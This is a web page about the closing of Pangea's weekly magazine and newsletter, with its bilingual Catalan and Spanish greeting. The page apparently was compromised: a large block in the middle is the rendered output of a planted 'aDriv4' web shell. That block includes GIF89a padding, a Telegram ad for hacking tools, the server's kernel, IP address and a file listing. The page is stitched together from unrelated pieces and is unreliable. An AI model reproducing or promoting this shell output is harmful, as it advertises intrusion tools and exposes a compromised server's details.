Cierre de la revista de Pangea

GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux wpmu 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
 Apache
 45.150.186.219
Name Type Size Owner/Group Permission Last Modified Actions
. dir - goaccess/goaccess 0755 2024-11-01 12:00:14
.. dir - goaccess/goaccess 0755 2025-08-31 10:00:17
I32_DATES.db application/octet-stream 137 B goaccess/goaccess 0644 2024-11-30 12:00:27
IGLP_LAST_PARSE.db application/octet-stream 120.91 KB goaccess/goaccess 0644 2024-11-30 12:00:27
IGSL_HOSTS_MTRC_AGENTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IGSL_NOT_FOUND_MTRC_AGENTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IGSL_REQUESTS_MTRC_AGENTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IGSL_REQUESTS_STATIC_MTRC_AGENTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IGSL_STATUS_CODES_MTRC_AGENTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IGSL_VISITORS_MTRC_AGENTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:27
IGSL_VISIT_TIMES_MTRC_AGENTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II08_HOSTS_MTRC_METHODS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II08_HOSTS_MTRC_PROTOCOLS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II08_NOT_FOUND_MTRC_METHODS.db application/octet-stream 23.82 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II08_NOT_FOUND_MTRC_PROTOCOLS.db application/octet-stream 23.82 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II08_REQUESTS_MTRC_METHODS.db application/octet-stream 46.39 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II08_REQUESTS_MTRC_PROTOCOLS.db application/octet-stream 46.39 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II08_REQUESTS_STATIC_MTRC_METHODS.db application/octet-stream 7.82 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II08_REQUESTS_STATIC_MTRC_PROTOCOLS.db application/octet-stream 7.82 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II08_STATUS_CODES_MTRC_METHODS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II08_STATUS_CODES_MTRC_PROTOCOLS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II08_VISITORS_MTRC_METHODS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:27
II08_VISITORS_MTRC_PROTOCOLS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:27
II08_VISIT_TIMES_MTRC_METHODS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II08_VISIT_TIMES_MTRC_PROTOCOLS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II32_AGENT_KEYS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:27
II32_CNT_VALID.db application/octet-stream 502 B goaccess/goaccess 0644 2024-11-30 12:00:27
II32_HOSTS_MTRC_HITS.db application/octet-stream 52.22 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_HOSTS_MTRC_KEYMAP.db application/octet-stream 52.22 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_HOSTS_MTRC_ROOT.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II32_HOSTS_MTRC_VISITORS.db application/octet-stream 51.1 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_NOT_FOUND_MTRC_HITS.db application/octet-stream 31.68 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_NOT_FOUND_MTRC_KEYMAP.db application/octet-stream 31.68 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_NOT_FOUND_MTRC_ROOT.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II32_NOT_FOUND_MTRC_VISITORS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II32_REQUESTS_MTRC_HITS.db application/octet-stream 61.77 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_REQUESTS_MTRC_KEYMAP.db application/octet-stream 61.77 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_REQUESTS_MTRC_ROOT.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II32_REQUESTS_MTRC_VISITORS.db application/octet-stream 60.09 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_REQUESTS_STATIC_MTRC_HITS.db application/octet-stream 10.34 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_REQUESTS_STATIC_MTRC_KEYMAP.db application/octet-stream 10.34 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_REQUESTS_STATIC_MTRC_ROOT.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II32_REQUESTS_STATIC_MTRC_VISITORS.db application/octet-stream 10.34 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_STATUS_CODES_MTRC_HITS.db application/octet-stream 2.47 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_STATUS_CODES_MTRC_KEYMAP.db application/octet-stream 3.4 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_STATUS_CODES_MTRC_ROOT.db application/octet-stream 2.47 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_STATUS_CODES_MTRC_VISITORS.db application/octet-stream 1.65 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_VISITORS_MTRC_HITS.db application/octet-stream 502 B goaccess/goaccess 0644 2024-11-30 12:00:27
II32_VISITORS_MTRC_KEYMAP.db application/octet-stream 502 B goaccess/goaccess 0644 2024-11-30 12:00:27
II32_VISITORS_MTRC_ROOT.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:27
II32_VISITORS_MTRC_VISITORS.db application/octet-stream 502 B goaccess/goaccess 0644 2024-11-30 12:00:27
II32_VISIT_TIMES_MTRC_HITS.db application/octet-stream 5.88 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_VISIT_TIMES_MTRC_KEYMAP.db application/octet-stream 5.88 KB goaccess/goaccess 0644 2024-11-30 12:00:28
II32_VISIT_TIMES_MTRC_ROOT.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
II32_VISIT_TIMES_MTRC_VISITORS.db application/octet-stream 5.88 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_AGENT_VALS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:27
IS32_HOSTS_MTRC_DATAMAP.db application/octet-stream 137.34 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_HOSTS_MTRC_ROOTMAP.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_NOT_FOUND_MTRC_DATAMAP.db application/octet-stream 114.62 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_NOT_FOUND_MTRC_ROOTMAP.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_REQUESTS_MTRC_DATAMAP.db application/octet-stream 299.96 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_REQUESTS_MTRC_ROOTMAP.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_REQUESTS_STATIC_MTRC_DATAMAP.db application/octet-stream 66.42 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_REQUESTS_STATIC_MTRC_ROOTMAP.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_STATUS_CODES_MTRC_DATAMAP.db application/octet-stream 16 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_STATUS_CODES_MTRC_ROOTMAP.db application/octet-stream 2.95 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_VISITORS_MTRC_DATAMAP.db application/octet-stream 742 B goaccess/goaccess 0644 2024-11-30 12:00:27
IS32_VISITORS_MTRC_ROOTMAP.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:27
IS32_VISIT_TIMES_MTRC_DATAMAP.db application/octet-stream 7.29 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IS32_VISIT_TIMES_MTRC_ROOTMAP.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_CNT_BW.db application/octet-stream 622 B goaccess/goaccess 0644 2024-11-30 12:00:27
IU64_HOSTS_MTRC_BW.db application/octet-stream 78.21 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_HOSTS_MTRC_CUMTS.db application/octet-stream 78.21 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_HOSTS_MTRC_MAXTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_NOT_FOUND_MTRC_BW.db application/octet-stream 47.39 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_NOT_FOUND_MTRC_CUMTS.db application/octet-stream 47.39 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_NOT_FOUND_MTRC_MAXTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_REQUESTS_MTRC_BW.db application/octet-stream 92.53 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_REQUESTS_MTRC_CUMTS.db application/octet-stream 92.53 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_REQUESTS_MTRC_MAXTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_REQUESTS_STATIC_MTRC_BW.db application/octet-stream 15.38 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_REQUESTS_STATIC_MTRC_CUMTS.db application/octet-stream 15.38 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_REQUESTS_STATIC_MTRC_MAXTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_STATUS_CODES_MTRC_BW.db application/octet-stream 3.57 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_STATUS_CODES_MTRC_CUMTS.db application/octet-stream 3.57 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_STATUS_CODES_MTRC_MAXTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_VISITORS_MTRC_BW.db application/octet-stream 622 B goaccess/goaccess 0644 2024-11-30 12:00:27
IU64_VISITORS_MTRC_CUMTS.db application/octet-stream 622 B goaccess/goaccess 0644 2024-11-30 12:00:27
IU64_VISITORS_MTRC_MAXTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:27
IU64_VISIT_TIMES_MTRC_BW.db application/octet-stream 8.69 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_VISIT_TIMES_MTRC_CUMTS.db application/octet-stream 8.69 KB goaccess/goaccess 0644 2024-11-30 12:00:28
IU64_VISIT_TIMES_MTRC_MAXTS.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
SI08_METH_PROTO.db application/octet-stream 440 B goaccess/goaccess 0644 2024-11-30 12:00:27
SI32_CNT_OVERALL.db application/octet-stream 63 B goaccess/goaccess 0644 2024-11-30 12:00:27
SI32_DB_PROPS.db application/octet-stream 33 B goaccess/goaccess 0644 2024-11-30 12:00:27
SI32_SEQS.db application/octet-stream 164 B goaccess/goaccess 0644 2024-11-30 12:00:27
SI32_UNIQUE_KEYS.db application/octet-stream 234.79 KB goaccess/goaccess 0644 2024-11-30 12:00:27
SU64_HOSTS_MTRC_METADATA.db application/octet-stream 2.8 KB goaccess/goaccess 0644 2024-11-30 12:00:28
SU64_NOT_FOUND_MTRC_METADATA.db application/octet-stream 2.22 KB goaccess/goaccess 0644 2024-11-30 12:00:28
SU64_REQUESTS_MTRC_METADATA.db application/octet-stream 2.8 KB goaccess/goaccess 0644 2024-11-30 12:00:28
SU64_REQUESTS_STATIC_MTRC_METADATA.db application/octet-stream 2.8 KB goaccess/goaccess 0644 2024-11-30 12:00:28
SU64_STATUS_CODES_MTRC_METADATA.db application/octet-stream 2.8 KB goaccess/goaccess 0644 2024-11-30 12:00:28
SU64_VISITORS_MTRC_METADATA.db application/octet-stream 2.8 KB goaccess/goaccess 0644 2024-11-30 12:00:27
SU64_VISIT_TIMES_MTRC_METADATA.db application/octet-stream 2.8 KB goaccess/goaccess 0644 2024-11-30 12:00:28
U648_HOSTS_MTRC_UNIQMAP.db application/octet-stream 63.81 KB goaccess/goaccess 0644 2024-11-30 12:00:28
U648_NOT_FOUND_MTRC_UNIQMAP.db application/octet-stream 262 B goaccess/goaccess 0644 2024-11-30 12:00:28
U648_REQUESTS_MTRC_UNIQMAP.db application/octet-stream 186.22 KB goaccess/goaccess 0644 2024-11-30 12:00:28
U648_REQUESTS_STATIC_MTRC_UNIQMAP.db application/octet-stream 32.81 KB goaccess/goaccess 0644 2024-11-30 12:00:28
U648_STATUS_CODES_MTRC_UNIQMAP.db application/octet-stream 78.38 KB goaccess/goaccess 0644 2024-11-30 12:00:28
U648_VISITORS_MTRC_UNIQMAP.db application/octet-stream 63.81 KB goaccess/goaccess 0644 2024-11-30 12:00:27
U648_VISIT_TIMES_MTRC_UNIQMAP.db application/octet-stream 91.42 KB goaccess/goaccess 0644 2024-11-30 12:00:28
© aDriv4

Algunas fuentes: Infomoc, Revista Rebelión, Ecologistas en Acción, Barrapunto, internautas, La Jornada, PCS, Mugak, etc.

El mensaje de la lista solía comenzar por:

Hola a tots i totes,

A continuació, us fem arribar una nova edició del butlletí setmanal de Pangea amb la corresponent selecció de notícies i articles destacats dels darrers dies. Us recordem que tant el present butlletí com les edicions anteriors també es troben disponibles a la categoria “Butlletí setmanal” de la secció “Revista” de la web (www.pangea.org).

Esperem que la informació sigui del vostre interès.

Salutacions,
L’Equip de Pangea 

__________________________________

Hola a todos y a todas,

A continuación, os hacemos llegar una nueva edición del boletín semanal de Pangea con la correspondiente selección de algunas noticias y artículos destacados de los últimos días. Os recordamos también que tanto el actual boletín como las ediciones anteriores se encuentran disponibles en la categoría “Boletín semanal” de la sección “Revista” de la web (www.pangea.org).

Esperamos que la información os resulte interesante.

Saludos,
El Equipo de Pangea